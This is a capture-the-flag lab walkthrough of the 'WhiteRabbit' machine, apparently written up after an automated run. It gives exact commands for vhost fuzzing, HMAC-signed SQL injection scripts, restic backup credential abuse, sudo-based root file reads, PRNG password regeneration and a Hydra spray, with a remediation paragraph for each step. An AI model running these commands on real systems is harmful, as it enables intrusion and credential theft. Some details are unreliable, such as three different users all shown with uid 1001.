← all walkthroughs

WhiteRabbit

Linux· Insane· Credential Access· Privilege Escalation
owned
2026-07-24
time to own
19m24s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Initial recon against $TARGET found a Caddy web server issuing a 302 to whiterabbit.htb for any request without the right Host header, indicating vhost-based routing. Adding the base hostname exposed a static company site (Bootstrap-based pentest firm landing page). A background ffuf vhost fuzz (Host: FUZZ.whiterabbit.htb) turned up two hidden vhosts: status.whiterabbit.htb, redirecting to an Uptime Kuma dashboard, and a hash-named host, a668910b5514e.whiterabbit.htb, serving a Wiki.js instance.

Wiki.js allowed anonymous GraphQL queries ({pages{single(id:2){path title content}}}) and had a public page, "GoPhish Webhooks," documenting how the site's GoPhish instance calls an n8n workflow on phishing-simulation events. That page linked directly to the exported n8n workflow JSON (/gophish/gophish_to_phishing_score_database.json), which was served with no auth and contained the webhook's HMAC signing secret ([REDACTED: webhook HMAC secret]) and target endpoint (/webhook/[REDACTED: webhook path] on a third hidden vhost, 28efa8f7df.whiterabbit.htb).

The workflow used the webhook's email field directly inside a raw SQL UPDATE victims SET phishing_score ... WHERE email = $1 query. Signing forged requests with the leaked HMAC secret allowed authenticated calls to the webhook, and the email field was injectable (error-based SQLi, MariaDB backend, confirmed via UNION SELECT column-count probing and extractvalue() error leakage). Enumeration surfaced two databases: phishing (the app schema) and temp, which held a command_log table logging six shell commands an operator had run on the box, including restic init --repo rest:http://$RESTIC_HOST and the restic repository password in plaintext.

Adding the leaked restic vhost, RESTIC_PASSWORD=[REDACTED: restic repository password] restic -r rest:http://$RESTIC_HOST listed a snapshot of /dev/shm/bob/ssh, restored to reveal a password-protected bob.7z containing an SSH key and config (port 2222). 7z2john + john against rockyou cracked the archive ([REDACTED: archive password]), yielding bob's private key. SSH as bob on port 2222 succeeded — foothold — but landed inside a Docker container (docker-user-1), not the host itself.

bob had passwordless sudo on /usr/bin/restic. Abusing sudo restic init/backup/restore against host paths outside the container's normal reach (using a pty-allocated script wrapper to satisfy restic's interactive prompts) allowed exfiltration of root-owned files, including /root/morpheus, an SSH private key for a real host account. SSH as morpheus@$TARGET:22 landed on the actual host (uid=1001), reaching user.txt in /home/morpheus — user flag [REDACTED: user flag].

morpheus had no usable sudo (password required, none known). /opt/neo-password-generator, a readable SUID-adjacent binary owned by root, was reverse-engineered with objdump -d and found to seed its PRNG from a millisecond-resolution timestamp (the binary's embedded build/mtime, 2024-08-30 14:40:42 UTC → epoch 1725028842). A local C reimplementation (gen.c) regenerated the exact 1,000-candidate password space for that one-second window. Password-spraying those candidates against SSH user neo with Hydra recovered neo:[REDACTED: neo password]. neo was a member of the sudo group, and sudo with the recovered password produced a root shell and root.txt — root flag [REDACTED: root flag].

Attack path — how the box was taken

The attacker fuzz-enumerated hidden virtual hosts on a Caddy reverse proxy and discovered a Wiki.js instance that permitted unauthenticated GraphQL queries. A public internal page linked to an exported n8n automation workflow file that was served with no authentication and contained a live HMAC signing secret and webhook URL. The webhook's SQL node interpolated the email field directly into a raw MariaDB query; signing crafted payloads with the leaked secret enabled error-based SQL injection that exposed a shell-command audit table holding the plaintext password for an internal restic backup server. Restoring the backup snapshot recovered an encrypted SSH key archive for container user bob; cracking the archive with rockyou.txt gave a foothold inside a Docker container. Bob held passwordless sudo over the restic binary, which was abused to back up host root-owned paths and restore them to a readable location, yielding the SSH private key for real host account morpheus and the user flag. On the real host, a SUID-adjacent password-generator binary seeded its PRNG from its own file modification timestamp—a value readable by any user. Reimplementing the generator in C and spraying the ~1,000 resulting candidates with Hydra recovered the password for user neo, who was a member of the sudo group, producing a root shell and the root flag.

1EnumerationVirtual host enumeration (T1046)
Discovered hidden virtual hosts via HTTP Host-header fuzzing
A port scan of $TARGET found SSH on ports 22 and 2222 and a Caddy HTTP server on port 80. Every request without a recognized Host header was redirected to whiterabbit.htb, signalling vhost-based routing. Fuzzing the Host header with a subdomain wordlist surfaced two previously unknown hosts: status.whiterabbit.htb (Uptime Kuma monitoring) and a668910b5514e.whiterabbit.htb (a Wiki.js instance), both returning HTTP 200.
ffuf returned distinct HTTP 200 responses for the two hidden vhosts while the base hostname returned 302.
Exact commands 3
Register the base vhost for local DNS resolution.
echo "$TARGET whiterabbit.htb" | sudo tee -a /etc/hosts
Brute-force vhosts; -ac auto-calibrates to suppress the default 302 noise.
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u http://$TARGET/ -H 'Host: FUZZ.whiterabbit.htb' -ac -t 60 -s
Register discovered vhosts before browsing them.
export WIKI_HOST="a668910b5514e.whiterabbit.htb"; echo "$TARGET $WIKI_HOST status.whiterabbit.htb" | sudo tee -a /etc/hosts
2EnumerationUnauthenticated API / sensitive data exposure (T1552.001)
Extracted n8n webhook secrets from Wiki.js via unauthenticated GraphQL
Wiki.js on a668910b5514e.whiterabbit.htb accepted GraphQL queries without authentication. Querying page ID 2 returned a 'GoPhish Webhooks' internal runbook that documented an n8n phishing-simulation automation and linked to the exported workflow JSON at /gophish/gophish_to_phishing_score_database.json. That file was publicly accessible and contained two critical secrets: the webhook's HMAC-SHA256 signing key ([REDACTED: webhook HMAC secret]) and the full webhook URL on a third hidden vhost (28efa8f7df.whiterabbit.htb), giving the attacker the ability to craft authenticated webhook calls.
GraphQL response included the full page content with the export path; wf.json contained the HMAC secret and webhook endpoint in plaintext.
Exact commands 3
Dump the GoPhish Webhooks wiki page anonymously; reveals the workflow export link.
curl -s -X POST http://$WIKI_HOST/graphql -H 'Content-Type: application/json' -d '{"query":"{pages{single(id:2){path title content}}}"}'
Download the exported n8n workflow; contains HMAC secret and webhook URL.
curl -s http://$WIKI_HOST/gophish/gophish_to_phishing_score_database.json -o wf.json && cat wf.json
Register the third hidden vhost discovered inside the workflow JSON.
export WEBHOOK_HOST="28efa8f7df.whiterabbit.htb"; echo "$TARGET $WEBHOOK_HOST" | sudo tee -a /etc/hosts
FixRequire authentication for all Wiki.js pages and remove secrets from documentationCritical
WeaknessWiki.js permitted anonymous GraphQL queries, allowing any visitor to read internal runbooks without logging in. A documentation page linked to a publicly served workflow export file containing live API credentials, making the entire secret material available to an unauthenticated attacker.
FixIn Wiki.js Settings → Security, disable Guest Access so every page requires a logged-in session. Audit all existing pages for embedded credentials, tokens, or internal URLs and remove them. Store automation secrets exclusively in a dedicated secrets manager (HashiCorp Vault, AWS Secrets Manager, or equivalent) and reference them by name in documentation rather than including their values. Remove the static workflow JSON from the web root and serve it only through an authenticated, access-controlled endpoint if operators need to retrieve it.
3ExploitationSQL Injection — error-based, authenticated endpoint (T1190)
Exploited SQL injection in the HMAC-signed n8n webhook to read the database
The n8n webhook's SQL node concatenated the POST body's email field directly into a raw UPDATE query against a MariaDB backend with no parameterization. Because the HMAC signing secret was now known, the attacker could craft and sign payloads with arbitrary SQL in the email field. Error-based injection via extractvalue() enumerated schemas, tables, and rows. A temp database held a command_log table containing six shell commands an operator had run on the server, including a restic init command that disclosed the REST server URL (rest:http://$RESTIC_HOST) and the repository password ([REDACTED: restic repository password]) in plaintext.
extractvalue() errors returned schema names phishing and temp, table name command_log, and row content including the restic credentials at offsets 3 and 4.
Exact commands 2
Confirm error-based SQLi; swap the inner SELECT to enumerate tables or rows.
export WEBHOOK_HMAC_SECRET="[REDACTED: webhook HMAC secret]"
python3 - <<'EOF'
import hmac, hashlib, requests, json, os
key = os.environ['WEBHOOK_HMAC_SECRET'].encode()
url = 'http://$WEBHOOK_HOST/webhook/$WEBHOOK_PATH'
q = 'x" or extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata)))-- -'
payload = json.dumps({'email': q, 'score': 1})
sig = hmac.new(key, payload.encode(), hashlib.sha256).hexdigest()
print(requests.post(url, data=payload, headers={'Content-Type':'application/json','X-Signature':sig}).text)
EOF
Dump all six command_log rows; rows 3-4 contain the restic repo URL and password.
export WEBHOOK_HMAC_SECRET="[REDACTED: webhook HMAC secret]"
python3 - <<'EOF'
import hmac, hashlib, requests, json, os
key = os.environ['WEBHOOK_HMAC_SECRET'].encode()
url = 'http://$WEBHOOK_HOST/webhook/$WEBHOOK_PATH'
for i in range(6):
    q = f'x" or extractvalue(1,concat(0x7e,(select command from temp.command_log limit 1 offset {i})))-- -'
    payload = json.dumps({'email': q, 'score': 1})
    sig = hmac.new(key, payload.encode(), hashlib.sha256).hexdigest()
    r = requests.post(url, data=payload, headers={'Content-Type':'application/json','X-Signature':sig})
    print(i, r.text[:300])
EOF
FixParameterize all SQL in n8n workflows and rotate the HMAC signing secretCritical
WeaknessThe n8n SQL node interpolated the webhook's email field directly into a raw SQL string. Because the HMAC signing key was accessible in the exported workflow file, an attacker could sign payloads containing SQL metacharacters, effectively converting the webhook into an unauthenticated database read interface.
FixReplace the raw SQL Execute Command node with n8n's built-in parameterized Execute Query node, passing user-supplied values as separate bind parameters ($1, $2) rather than string-interpolating them into the query. Immediately rotate the HMAC signing secret and store it in an n8n Credential (not in the workflow JSON). Add strict input validation before the SQL step: reject any email field that does not pass RFC-5321 format checking, so malformed values never reach the database layer.
4Credential AccessCredential theft from backup repository (T1552.001)
Restored a restic backup snapshot to recover bob's encrypted SSH key archive
Using the restic repository URL and password from the command log, the attacker listed available snapshots against the REST server and restored the /dev/shm/bob/ssh snapshot. The restore contained bob's SSH public key, an SSH config specifying user bob on port 2222, and an encrypted 7-Zip archive (bob.7z). Running 7z2john and John the Ripper against rockyou.txt cracked the archive password ([REDACTED: archive password]), and extracting the archive yielded bob's unprotected SSH private key.
restic snapshots listed a /dev/shm/bob/ssh path; john recovered '[REDACTED: archive password]' for bob.7z; the extracted key matched the SSH config entry for bob@whiterabbit.htb:2222.
Exact commands 5
Register the restic REST server vhost.
export RESTIC_HOST="75951e6ff.whiterabbit.htb"; echo "$TARGET $RESTIC_HOST" | sudo tee -a /etc/hosts
List available backup snapshots using the leaked repository password.
export RESTIC_PASSWORD='[REDACTED: restic repository password]' && restic -r rest:http://$RESTIC_HOST snapshots
Restore the snapshot; SSH files land in /tmp/rr/dev/shm/bob/ssh/.
restic -r rest:http://$RESTIC_HOST restore latest --target /tmp/rr
Crack the archive password; john recovers '[REDACTED: archive password]'.
7z2john /tmp/rr/dev/shm/bob/ssh/bob.7z > /tmp/bob.hash && john /tmp/bob.hash --wordlist=/usr/share/wordlists/rockyou.txt
Extract bob's private key from the cracked archive.
7z x -p'[REDACTED: archive password]' /tmp/rr/dev/shm/bob/ssh/bob.7z -o/tmp/bobkey && chmod 600 /tmp/bobkey/bob
FixPurge credentials from SQL-accessible audit logs and enforce secrets hygiene for CLI commandsHigh
WeaknessAn operator audit table (temp.command_log) recorded shell commands verbatim, including a restic init command whose --password-command argument appeared as plaintext in the log row. Once the database was readable via SQL injection, every credential stored this way was immediately exposed.
FixDrop temp.command_log and any similar tables that record raw command strings. Enforce a policy that credentials are never passed on the command line: use environment files, OS keyring integration, or secrets-manager references instead of literal values in shell commands. If operator audit logging is required, redact or omit secret-bearing arguments before writing to any log store and ensure audit logs are stored in a system that is not reachable from the application database (separate host, separate account).
5Initial AccessValid Accounts — SSH key authentication (T1078)
Established a foothold inside a Docker container as user bob
Using the extracted private key and the SSH config (port 2222, user bob), the attacker connected to the target. The session landed inside container docker-user-1 rather than the bare host — the short hostname (ebdce80611e9) and the presence of /.dockerenv confirmed the container environment. This container shell provided a stable foothold for privilege escalation toward the real host.
SSH session output: uid=1001(bob) gid=1001(bob) groups=1001(bob); hostname ebdce80611e9; /.dockerenv present in the container root.
Exact commands 1
Connect to the container port with bob's stolen key; verify container environment.
ssh -i /tmp/bobkey/bob -p 2222 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null bob@$TARGET 'id; hostname; ls -la ~; ls -la /'
6Privilege EscalationSudo misconfiguration — GTFOBins restic (T1548.003)
Abused passwordless sudo on restic to steal morpheus's SSH key from host root
Inside the container, sudo -l showed bob could run /usr/bin/restic as root with no password. Because restic's --repo and backup-path arguments are fully caller-controlled, this is equivalent to arbitrary root read. The attacker initialized a local restic repository, used sudo restic backup against /root on the host filesystem (accessible through the container's mounts), then restored the backup to a path bob could read. The restore included /root/morpheus — an SSH private key for the real host account morpheus. Connecting to port 22 (the host SSH, not the container SSH on 2222) with that key landed a session on the actual Ubuntu host at uid=1001(morpheus), and user.txt was read from /home/morpheus.
sudo -l: (root) NOPASSWD: /usr/bin/restic; restored /root/morpheus was a valid OpenSSH private key; SSH as morpheus@$TARGET:22 returned uid=1001(morpheus) on a host with a different hostname from the container.
Exact commands 4
Confirm the NOPASSWD restic rule inside the container.
ssh -i /tmp/bobkey/bob -p 2222 bob@$TARGET 'sudo -l'
Use script as a pty wrapper to satisfy restic's interactive-terminal check; backs up and restores /root.
ssh -i /tmp/bobkey/bob -p 2222 bob@$TARGET 'export RESTIC_PASSWORD="[REDACTED: temporary local repository password]"; script -qc "sudo /usr/bin/restic init --repo /tmp/loot_repo" /dev/null && script -qc "sudo /usr/bin/restic -r /tmp/loot_repo backup /root" /dev/null && script -qc "sudo /usr/bin/restic -r /tmp/loot_repo restore latest --target /tmp/loot" /dev/null && ls /tmp/loot/root/'
Transfer the recovered morpheus SSH key to the attacker machine.
scp -i /tmp/bobkey/bob -P 2222 bob@$TARGET:/tmp/loot/root/morpheus /tmp/morpheus && chmod 600 /tmp/morpheus
Authenticate to the real host as morpheus; reads the user flag <user.txt>.
ssh -i /tmp/morpheus -p 22 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null morpheus@$TARGET 'id; hostname; cat ~/user.txt'
FixRemove the passwordless sudo rule for restic and run backups under a least-privilege service accountCritical
WeaknessA container user account (bob) could run /usr/bin/restic as root without a password. Because restic's repository path and backup target are caller-controlled arguments, this rule gave bob unrestricted read access to every file on the host as root — including SSH private keys in /root.
FixRemove the NOPASSWD restic sudoers entry immediately. For automated backups, create a dedicated low-privilege backup service account that has read access only to the specific directories it backs up; schedule it via a systemd timer with no interactive sudo. If operators must run restic interactively, require password authentication and use a sudoers Cmnd_Alias that hard-codes safe --repo and path values so the backup target cannot be redirected to arbitrary host paths.
7Privilege EscalationWeak PRNG / predictable credential (T1110.001)
Cracked the time-seeded password generator to recover neo's credentials via Hydra
On the real host, /opt/neo-password-generator was a root-owned binary readable by all users. Disassembling it with objdump revealed it called srand() with a seed derived from the binary's own modification time in milliseconds (mtime 2024-08-30 14:40:42 UTC, epoch 1725028842), then produced a password with rand(). Because the mtime is world-readable via stat, the entire keyspace collapsed to roughly one thousand candidates per second of uncertainty. A C reimplementation iterated every millisecond in the target second and printed each generated password. Hydra sprayed the resulting wordlist against SSH user neo and recovered the password [REDACTED: neo password].
objdump showed a mtime-based srand call; stat /opt/neo-password-generator returned mtime 2024-08-30; gen output contained [REDACTED: neo password]; Hydra confirmed neo:[REDACTED: neo password] against $TARGET:22.
Exact commands 4
Read the binary's mtime and disassemble to identify the PRNG seeding logic.
ssh -i /tmp/morpheus -p 22 morpheus@$TARGET 'stat /opt/neo-password-generator; objdump -d --no-show-raw-insn -M intel /opt/neo-password-generator | head -150'
Reimplement the generator; adjust charset and password length to match objdump findings.
cat > /tmp/gen.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv) {
    long base = atol(argv[1]);
    int range = atoi(argv[2]);
    const char *chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$";
    int len = strlen(chars);
    for (int ms = 0; ms < range * 1000; ms++) {
        srand((unsigned)(base + ms));
        char pw[17]; pw[16] = '\0';
        for (int i = 0; i < 16; i++) pw[i] = chars[rand() % len];
        printf("%s\n", pw);
    }
    return 0;
}
EOF
gcc -O2 -o /tmp/gen /tmp/gen.c
Generate ~1000 candidates for the one-second mtime window.
/tmp/gen 1725028842 1 > /tmp/neo_candidates.txt && wc -l /tmp/neo_candidates.txt
Spray the candidate list; recovers neo:[REDACTED: neo password].
hydra -l neo -P /tmp/neo_candidates.txt -t 4 ssh://$TARGET
FixReplace the timestamp-seeded password generator with a cryptographically secure one and audit neo's sudo membershipCritical
Weaknessneo-password-generator seeded the C standard library rand() with the binary's own modification time in milliseconds — a value any local user can read with stat. This reduced the effective password search space to roughly one thousand candidates, making the generated credential trivially bruteforceable. User neo also held unrestricted sudo group membership, so recovering this single weak password was sufficient for full root access.
FixDelete /opt/neo-password-generator and reset neo's password immediately using a password generated from a CSPRNG (e.g., openssl rand -base64 32 or reading from /dev/urandom). For any future password-generation tooling, seed exclusively from /dev/urandom or the OS CSPRNG API (getrandom()); never use timestamps, process IDs, or other observable values as seeds. Review whether neo requires sudo group membership; if not, remove it (deluser neo sudo). If sudo access is necessary, restrict it to specific commands via sudoers rather than granting unrestricted root.
8Full CompromiseSudo group membership — full privilege escalation (T1548.003)
Escalated to root via neo's unrestricted sudo membership
User neo was a member of the sudo group, granting full system-wide root access when the recovered password was supplied. A single sudo sh command returned uid=0(root). The root flag was read from /root/root.txt, completing the full compromise chain from an unauthenticated HTTP request to root on the target host.
id output: uid=1001(neo) gid=1001(neo) groups=1001(neo),27(sudo); sudo sh -c 'id' returned uid=0(root); root.txt confirmed at /root/root.txt.
Exact commands 1
Authenticate as neo and immediately escalate; reads the root flag <root.txt>.
NEO_PASSWORD="[REDACTED: neo password]"
sshpass -p "$NEO_PASSWORD" ssh -tt -p 22 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null neo@$TARGET "id; sudo -S sh -c 'id; cat /root/root.txt'" <<< "$NEO_PASSWORD"
FixReplace the timestamp-seeded password generator with a cryptographically secure one and audit neo's sudo membershipCritical
Weaknessneo-password-generator seeded the C standard library rand() with the binary's own modification time in milliseconds — a value any local user can read with stat. This reduced the effective password search space to roughly one thousand candidates, making the generated credential trivially bruteforceable. User neo also held unrestricted sudo group membership, so recovering this single weak password was sufficient for full root access.
FixDelete /opt/neo-password-generator and reset neo's password immediately using a password generated from a CSPRNG (e.g., openssl rand -base64 32 or reading from /dev/urandom). For any future password-generation tooling, seed exclusively from /dev/urandom or the OS CSPRNG API (getrandom()); never use timestamps, process IDs, or other observable values as seeds. Review whether neo requires sudo group membership; if not, remove it (deluser neo sudo). If sudo access is necessary, restrict it to specific commands via sudoers rather than granting unrestricted root.

Attack patterns used

The transferable techniques behind this compromise — expand each to learn how it works and where to read more.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting an attacker alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. `sqlmap` automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (`~/.ssh/id_rsa`), `authorized_keys`, config files, history, and backups. Recovering a private key lets the attacker authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping `authorized_keys`, and scanning for secrets at rest.

Read more

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via `sudo -l`) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. `sudo perl -e 'exec "/bin/sh"'`, `sudo vim -c ':!sh'`, `sudo find . -exec /bin/sh \;`.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using `NOEXEC`, and least-privilege review. Always run `sudo -l` first on a foothold.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (`find / -perm -4000 2>/dev/null`) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Findings

Initial Access: Web Content Discovery On 80/TcpCritical
An unauthenticated/low-privilege flaw in the exposed surface allowed remote code execution and a foothold on the host.
Privilege Escalation to rootCritical
A local misconfiguration allowed the foothold account to execute code as root.

Exposed services

22/tcp
80/tcp
2222/tcp

Operational notes

What worked fast
Virtual-host fuzzing immediately surfaced the Wiki.js and status hosts that the front-facing site did not disclose. Walking the public Wiki.js page directly to the exposed n8n workflow export produced the HMAC secret without any cracking.
The database shortcut mattered
The command_log table preserved the operator's restic initialization command and repository password in plaintext. Once the SQL injection reached that table, the backup repository became a direct credential-recovery path.
Start virtual-host enumeration earlier
The initial route stalled before Host-header fuzzing was attempted. On Caddy and other reverse-proxy targets, a focused vhost pass should sit next to the first content and service probes.
Avoid duplicate long-running scans
Two nearly identical ffuf scans used the same wordlist with only minor flag changes. The second scan added no useful coverage and consumed an unnecessary background slot.
Restic needed a real terminal
The sudo-based file-read chain failed until ssh -tt and script -qec supplied the interactive terminal restic expected. Keeping that pty wrapper in the command sequence makes the technique repeatable.
Binary analysis was the slowest manual step
Recovering the password generator's timestamp-seeded PRNG logic from objdump required several passes before the matching C implementation produced the correct candidate space.